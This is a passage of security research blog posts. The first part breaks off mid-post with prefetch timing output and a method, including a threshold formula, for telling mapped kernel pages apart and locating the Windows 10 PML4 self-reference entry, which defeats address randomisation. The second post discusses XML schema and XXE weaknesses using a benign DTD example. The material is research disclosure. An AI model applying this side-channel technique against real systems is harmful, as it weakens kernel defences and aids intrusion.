Virtual Addr: ffffd5eaf57abd58 – Cycles: 39.740921
Virtual Addr: ffffd66b359acd60 – Cycles: 40.062698
Virtual Addr: ffffd6eb75badd68 – Cycles: 40.273781
Virtual Addr: ffffd76bb5daed70 – Cycles: 39.467190
Virtual Addr: ffffd7ebf5fafd78 – Cycles: 39.857071
Virtual Addr: ffffd86c361b0d80 – Cycles: 41.169140
Virtual Addr: ffffd8ec763b1d88 – Cycles: 40.892979
Virtual Addr: ffffd96cb65b2d90 – Cycles: 39.255680
Virtual Addr: ffffd9ecf67b3d98 – Cycles: 40.886719
Virtual Addr: ffffda6d369b4da0 – Cycles: 40.202129
Virtual Addr: ffffdaed76bb5da8 – Cycles: 41.193420
Virtual Addr: ffffdb6db6db6db0 – Cycles: 40.386261
Virtual Addr: ffffdbedf6fb7db8 – Cycles: 40.713581
Virtual Addr: ffffdc6e371b8dc0 – Cycles: 41.282349
Virtual Addr: ffffdcee773b9dc8 – Cycles: 41.569183
Virtual Addr: ffffdd6eb75badd0 – Cycles: 40.184349
Virtual Addr: ffffddeef77bbdd8 – Cycles: 42.102409
Virtual Addr: ffffde6f379bcde0 – Cycles: 41.063648
Virtual Addr: ffffdeef77bbdde8 – Cycles: 40.938492
Virtual Addr: ffffdf6fb7dbedf0 – Cycles: 41.528851
Virtual Addr: ffffdfeff7fbfdf8 – Cycles: 41.276009
Virtual Addr: ffffe070381c0e00 – Cycles: 41.012699
Virtual Addr: ffffe0f0783c1e08 – Cycles: 41.423889
Virtual Addr: ffffe170b85c2e10 – Cycles: 41.513340
Virtual Addr: ffffe1f0f87c3e18 – Cycles: 40.686562
Virtual Addr: ffffe271389c4e20 – Cycles: 40.210960
Virtual Addr: ffffe2f178bc5e28 – Cycles: 41.176430
Virtual Addr: ffffe371b8dc6e30 – Cycles: 40.402931
Virtual Addr: ffffe3f1f8fc7e38 – Cycles: 40.855640
Virtual Addr: ffffe472391c8e40 – Cycles: 41.086658
Virtual Addr: ffffe4f2793c9e48 – Cycles: 40.050758
Virtual Addr: ffffe572b95cae50 – Cycles: 39.898472
Virtual Addr: ffffe5f2f97cbe58 – Cycles: 40.392891
Virtual Addr: ffffe673399cce60 – Cycles: 40.588020
Virtual Addr: ffffe6f379bcde68 – Cycles: 41.702358
Virtual Addr: ffffe773b9dcee70 – Cycles: 42.991379
Virtual Addr: ffffe7f3f9fcfe78 – Cycles: 40.020180
Virtual Addr: ffffe8743a1d0e80 – Cycles: 40.672359
Virtual Addr: ffffe8f47a3d1e88 – Cycles: 40.423599
Virtual Addr: ffffe974ba5d2e90 – Cycles: 40.895100
Virtual Addr: ffffe9f4fa7d3e98 – Cycles: 42.556950
Virtual Addr: ffffea753a9d4ea0 – Cycles: 40.820259
Virtual Addr: ffffeaf57abd5ea8 – Cycles: 41.919361
Virtual Addr: ffffeb75badd6eb0 – Cycles: 40.768051
Virtual Addr: ffffebf5fafd7eb8 – Cycles: 41.210018
Virtual Addr: ffffec763b1d8ec0 – Cycles: 40.899940
Virtual Addr: ffffecf67b3d9ec8 – Cycles: 42.258720
Virtual Addr: ffffed76bb5daed0 – Cycles: 39.800220
Virtual Addr: ffffedf6fb7dbed8 – Cycles: 42.848492
Virtual Addr: ffffee773b9dcee0 – Cycles: 41.599060
Virtual Addr: ffffeef77bbddee8 – Cycles: 41.845619
Virtual Addr: ffffef77bbddeef0 – Cycles: 40.401878
Virtual Addr: ffffeff7fbfdfef8 – Cycles: 40.292400
Virtual Addr: fffff0783c1e0f00 – Cycles: 40.361198
Virtual Addr: fffff0f87c3e1f08 – Cycles: 39.797661
Virtual Addr: fffff178bc5e2f10 – Cycles: 42.765659
Virtual Addr: fffff1f8fc7e3f18 – Cycles: 42.878502
Virtual Addr: fffff2793c9e4f20 – Cycles: 41.923882
Virtual Addr: fffff2f97cbe5f28 – Cycles: 42.792019
Virtual Addr: fffff379bcde6f30 – Cycles: 41.418400
Virtual Addr: fffff3f9fcfe7f38 – Cycles: 42.002159
Virtual Addr: fffff47a3d1e8f40 – Cycles: 41.916740
Virtual Addr: fffff4fa7d3e9f48 – Cycles: 40.134121
Virtual Addr: fffff57abd5eaf50 – Cycles: 40.031391
Virtual Addr: fffff5fafd7ebf58 – Cycles: 34.016159
Virtual Addr: fffff67b3d9ecf60 – Cycles: 41.908691
Virtual Addr: fffff6fb7dbedf68 – Cycles: 42.093719
Virtual Addr: fffff77bbddeef70 – Cycles: 42.282581
Virtual Addr: fffff7fbfdfeff78 – Cycles: 42.321220
Virtual Addr: fffff87c3e1f0f80 – Cycles: 42.248032
Virtual Addr: fffff8fc7e3f1f88 – Cycles: 42.477551
Virtual Addr: fffff97cbe5f2f90 – Cycles: 41.249981
Virtual Addr: fffff9fcfe7f3f98 – Cycles: 43.526272
Virtual Addr: fffffa7d3e9f4fa0 – Cycles: 41.528671
Virtual Addr: fffffafd7ebf5fa8 – Cycles: 41.014912
Virtual Addr: fffffb7dbedf6fb0 – Cycles: 42.411629
Virtual Addr: fffffbfdfeff7fb8 – Cycles: 42.263859
Virtual Addr: fffffc7e3f1f8fc0 – Cycles: 40.834549
Virtual Addr: fffffcfe7f3f9fc8 – Cycles: 42.805450
Virtual Addr: fffffd7ebf5fafd0 – Cycles: 45.597767
Virtual Addr: fffffdfeff7fbfd8 – Cycles: 41.253361
Virtual Addr: fffffe7f3f9fcfe0 – Cycles: 41.422379
Virtual Addr: fffffeff7fbfdfe8 – Cycles: 42.559212
Virtual Addr: ffffff7fbfdfeff0 – Cycles: 43.460941
Virtual Addr: fffffffffffffff8 – Cycles: 40.009121


From the above output, we can distinguish three different groups:

1) Pages that are mapped: ~32 cycles
2) Pages that are partially mapped: ~41 cycles
3) Totally unmapped regions: ~63 cycles

The 2nd group stand for pages which don’t have PTEs but do have PDE, PDPTE or PML4E. Given that we know this will be the largest group of the three, we could take the average of the whole sample as a reference to know if a page doesn’t have a PTE. In this case, the value is 40.89024529.
Now, to establish a threshold for further checks I used the following simple formula:DIFFERENCE_THRESHOLD = abs(get_array_average()-Mapped_time)/2 – 1;Where get_array_average() returns 40.89024529 as we stated before and Mapped_time is the lower value of all the group: 31.44232.From this point, we can now process each virtual address which has a value that is close to the Mapped_time based on the threshold. As in the case of TSX, the procedure consists in treating the potential indexes as the real one and test for several PTEs of previously allocated pages.Finally, to discard the dummy entries we test for the PTE of a known UNMAPPED REGION. For this I’m calculating the PTE of the address 0x180c06000000 (0x30 for every index) which normally is always unmapped for our process.Results on Intel Skylake i7 6700HQ:

 

Results on Intel Xeon E5-2686 v4 (Amazon EC2):

In both cases, this worked perfectly… Of course it doesn’t make sense to use this technique in Windows versions before 10 or Server 2016 but I did it to show the result matches the known self-ref entry.

Now, what is weird is that I also tested in another EC2 instance from Amazon, this time an Intel Xeon E5-2676 v3, and the thing is it didn’t work at all:

 The algorithm failed because it wasn’t able to distinguish between mapped and unmapped pages: all the values that were retrieved with prefetch are almost equal.

This same thing happened with the tests I was able to perform on AMD:

 

Conclusions

At this point it is clear that prefetch allows to determine PTEs and can be used just as well as TSX to get the PML4-Self-Ref entry. One of the advantages of prefetch is that is present in older generations of Intel processors, making the attack possible in more platforms. A second advantage is the speed: while a TSX transaction takes ~200 cycles the prefetch is just ~40. Nevertheless, in my opinion, the attack using TSX is far more reliable given we know there is an almost fixed difference of ~40 cycles between mapped and unmapped pages, so the confidence over the results is higher.

Before actually using this however, one must ensure that the leaking with prefetch is actually working. As we showed before, there seems to be some Intel processors like the Xeon E5-2676 which seems to be unaffected.

Last but not least, it seems AMD is still the winner in terms of not having any side effect issues with its instructions. So for now you rather run Windows 10 on AMD 🙂

And what about BTB?
Regarding BTB, the truth is there is no code in the paging structure region, meaning there won’t be any kind of JMP instruction to this region that could be exercised and measured. This doesn’t mean there is no way to actually determine if page is mapped or not using this method but it means it’s not as direct as in the prefetch or TSX cases (more research is required).As always, we would love to hear from other security types who might have a differing opinion. All of our positions are subject to change through exposure to compelling arguments and/or data.
RESEARCH | October 18, 2016

Let’s Terminate XML Schema Vulnerabilities

XML eXternal Entity (XXE) attacks are a common threat to applications using XML schemas, either actively or unknowingly. That is because we continue to use XML schemas that can be abused in multiple ways. Programming languages and libraries use XML schemas to define the expected contents of XML documents, SAML authentications or SOAP messages. XML schemas were intended to constrain document definitions, yet they have introduced multiple attack avenues.

XML parsers should be prepared to manage two types of problematic XML documents: malformed files and invalid files. Malformed files do not follow the World Wide Web Consortium (W3C) specification. This results in unexpected consequences for any software that parses the file. Invalid files abuse XML schemas and exploit actions that are built into programming languages and libraries. This may unwillingly put any software relying on these technologies at risk.

I analyzed possible attacks affecting XML and discovered new attacks in the previous categories. Among them:

  • Schema version disclosure: Parsers may disclose type and version information when retrieving remote schemas.
  • Unrestrictive schemas: Major companies still rely on schemas that cannot provide the restrictions required for their XML documents. DTD schemas continue to be common, even though they are often unable to accomplish their goal.
  • Improper data validation: As companies move away from DTD schemas and attempt to implement better restrictions, they may provide incomplete protection for their systems. XML schemas provide highly granular constraints, and if they are not properly defined, the approved document may affect the underlying security of applications.

Some of the proposed examples provided by the W3C include vulnerable methods of defining XML documents. To illlustrate with a basic example, the W3C states that an application can use a DTD to verify that XML data is valid, and provides the following example:

<?xml version=”1.0″?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don’t forget me this weekend</body>
</note>

This example document contains an embedded DTD that constrains the contents to the previously defined elements. However, those elements do not provide a constraint on how large they are or what type of data they contain. Moreover, since the DTD declaration can simply be changed or removed from the previous document, you can even have a valid, well-formed document without an XML schema.

For more details and greater depth on this topic, view the full white paper, Assessing and Exploiting XML Schema’s Vulnerabilities.

As always, we would love to hear from other security types who might have a differing opinion. All of our positions are subject to change through exposure to compelling arguments and/or data.